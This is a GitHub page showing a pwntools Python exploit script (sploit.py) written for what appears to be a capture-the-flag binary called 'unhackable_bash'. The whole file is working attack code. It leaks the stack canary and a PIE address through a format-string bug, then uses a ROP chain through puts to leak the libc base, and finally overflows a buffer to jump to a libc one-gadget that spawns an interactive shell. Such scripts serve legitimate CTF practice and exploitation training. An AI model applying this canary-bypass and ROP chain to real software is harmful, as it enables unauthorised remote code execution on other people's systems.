-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathsploit.py
More file actions
executable file
·145 lines (105 loc) · 3.56 KB
/
sploit.py
File metadata and controls
executable file
·145 lines (105 loc) · 3.56 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
import os
from pwn import *
dirname = os.path.dirname(__file__)
exe_path = os.path.join(dirname, '../publish/unhackable_bash')
# Set up pwntools for the correct architecture
exe = context.binary = ELF(exe_path, checksec=False)
# Specify host/port for remote execution
host = args.HOST or 'localhost'
port = int(args.PORT or 20023)
def start_local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
elif args.EDB:
return process(["edb", "--run", exe.path] + argv, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
def start_remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.REMOTE:
return start_remote(argv, *a, **kw)
else:
return start_local(argv, *a, **kw)
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
# Define some useful values found during binary analytics
libc_path = ''
shell_gadget_offset = 0xdeadbeef
if args.REMOTE:
libc_path = os.path.join(dirname, '../publish/docker-libc.so')
shell_gadget_offset = 0x45226
else:
libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
shell_gadget_offset = 0xe3b01
libc = ELF(libc_path, checksec=False)
buffer_offset = 72
canary_stack_offset = 15
address_stack_offset = 9
# We know this from elf
pie_offset = 0x14e6
gadget_offset = 0x1b33
io = start()
io.sendlineafter(b'6: Give feedback', b'6')
# Leak 2 values from stack, address to calculate piebase and canary
# for future rop's
io.sendlineafter(b'learned', '%{}$p %{}$p'.format(
address_stack_offset, canary_stack_offset).encode())
io.recvuntil(b': ')
address_str, canary_str = str(io.recvline(), 'utf-8').split(' ')
leaked_address = int(address_str, 16)
leaked_cannary = int(canary_str, 16)
# Now calculate the piebase using known static address offset
exe.address = leaked_address - pie_offset
pop_rdi_gadget = exe.address + gadget_offset
# Print leaked values for debug
info("piebase: %#x", exe.address)
info("leaked canary: %#x", leaked_cannary)
io.sendlineafter(b'6: Give feedback', b'3')
io.recvuntil(b'filename')
# Construct payload to leak libc address
payload = flat({
buffer_offset: [
leaked_cannary, # leaked canary to safely take up on the control flow
b'junkjunk', # just need to feel the offset
pop_rdi_gadget, # pop rdi; ret
exe.got.puts, # get got address of puts as argument
exe.plt.puts, # Call puts() to leak the got.puts address
exe.symbols.read_file
]
})
io.sendline(payload)
io.recvline()
# Read and unpack got address for puts
got_puts = unpack(io.recvline()[:6].ljust(8, b"\x00"))
# Get libc base address
libc.address = got_puts - libc.symbols.puts
info("libc_base: %#x", libc.address)
# Knowing libc address, we can calculate our shell gadget address
shell_gadget = libc.address + shell_gadget_offset
payload = flat({
buffer_offset: [
leaked_cannary,
b'junkjunk',
shell_gadget # system('/bin/sh')
]
})
io.recvuntil(b'filename')
io.sendline(payload)
io.recvline()
# Get shell
io.interactive()